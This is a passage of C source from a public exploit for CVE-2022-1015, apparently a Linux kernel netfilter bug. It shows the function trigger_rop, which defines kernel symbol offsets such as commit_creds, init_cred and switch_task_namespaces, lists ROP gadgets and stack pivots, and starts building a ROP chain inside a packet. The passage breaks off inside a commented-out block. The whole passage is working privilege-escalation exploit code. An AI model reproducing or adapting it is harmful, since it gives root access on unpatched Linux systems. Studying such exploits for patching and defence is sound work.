Function trigger_rop

CVE-2022-1015/exploit/exploit.c:283–425

}

void trigger_rop(struct mnl_socket* nl, uint64_t kernel_base, struct sockaddr_in* magic_addr, int rop_length)
{
    // Structures in .data
    #define INIT_NSPROXY_OFF 0x186d940          // ffffffff8286d940 D init_nsproxy
    #define INIT_CRED_OFF 0x186db80             // ffffffff8286db80 D init_cred
    // Routines in .text
    #define SWITCH_TASK_NAMESPACES_OFF 0xd12b0  // ffffffff810d12b0 T switch_task_namespaces
    #define COMMIT_CREDS_OFF 0xd2690            // ffffffff810d2690 T commit_creds
    #define BPF_GET_CURRENT_TASK_OFF 0x1ef7e0   // ffffffff811ef7e0 T bpf_get_current_task
    #define __DO_SOFTIRQ_OFF 0x1000000          // ffffffff82000000 T __do_softirq
    // Gadgets
    #define MOV_RDI_RAX_OFF 0x2bfb1 // constraint: rcx==0    // 0xffffffff8102bfb1: mov rdi, rax; mov eax, ebx; pop rbx; pop rbp; or rax, rdi; ret;  
    #define POP_RDI_OFF 0x92100                 // 0xffffffff81092100: pop rdi; ret;
    #define POP_RSI_OFF 0x223e6                 // 0xffffffff810223e6: pop rsi; ret;
    #define POP_RCX_OFF 0x139a3
    #define POP_RAX_OFF 0x64650                 // 0xffffffff81064650: pop rax; ret;
    #define POP_RBP_OFF 0x6ae                   // 0xffffffff810006ae: pop rbp; ret; 
    #define CLI_OFF 0x6a918                     // 0xffffffff8106a918: cli; ret;
    #define SUB_RSP_0x80 0x3809f6           // 0xffffffff813809f6: sub rsp, -0x80; pop rbx; pop rbp; ret;
    #define SUB_RSP_0x80_POP4  0x5f80e0     // 0xffffffff815f80e0: sub rsp, -0x80; pop rbx; pop r12; pop r13; pop rbp; ret;
    #define ADD_RSO_0xC8 0x3bd8b0           // 0xffffffff813bd8b0: add rsp, 0xc8; pop r12; pop rbp; ret; 
    
    #define PUSH_RSP_POP_RBX 0x1402020      // 0xffffffff82402020: push rsp; pop rbx; add al, 0x67; ret; 
    #define SUB_RBX_MOV_RAX_POP2  0x1525e5  // 0xffffffff811525e5 : sub rbx, rax ; mov rax, rbx ; pop rbx ; pop rbp ; ret
    #define PUSH_RAX_POP_RSP 0x64cfea       // 0xffffffff8164cfea: push rax; add eax, 0x74030000; add al, 0x41; pop rsp; pop rbp; ret;
    // Misc.
    #define OLD_TASK_FLAGS_OFF 0x12c1e32 // 0x40010000    0xffffffff822c1e32 <serial_pci_tbl+4850>:	0x0000000040010000

    uint64_t *packet = calloc(1, rop_length + 8);

    packet[0] = 0;  // magic value
    uint64_t* rop = &packet[1];

    // 0xffffffff819d5cda <__netif_receive_skb_one_core+122> ret
    int i = 0;
    printf("rop_length: 0x%x\n", rop_length);
    // #define _rop(x) do { if ((i+1)*8 > rop_length) error("ROP TOO LONG"); rop[i++] = (x); } while (0)
    #define _rop(x)  rop[i++] = (x);
/*
    rop[0] = 0;
    rop[1] = 0;
    rop[2] = kernel_base + POP_RBP_OFF;                 // 0xffffffff810006ae: pop rbp; ret; 
    rop[3] = kernel_base + OLD_TASK_FLAGS_OFF + 0x58;   // 0xffffffff822c1e32 <serial_pci_tbl+4850>:	0x0000000040010000
    rop[4] = kernel_base + __DO_SOFTIRQ_OFF + 418;      // ffffffff82000000 T __do_softirq
    rop[5] = 0;
    rop[6] = 0;
    rop[7] = 0;
    rop[8] = 0;
    rop[9] = 0;
    rop[10] = 0;
    rop[11] = 0;
    rop[12] = 0;
    rop[13] = 0;

    rop[14] = kernel_base + CLI_OFF;                    // 0xffffffff8106a918: cli; ret;
    rop[15] = kernel_base + SUB_RSP_0x80;               // 0xffffffff813809f6: sub rsp, -0x80; pop rbx; pop rbp; ret;
    rop[16] = 0;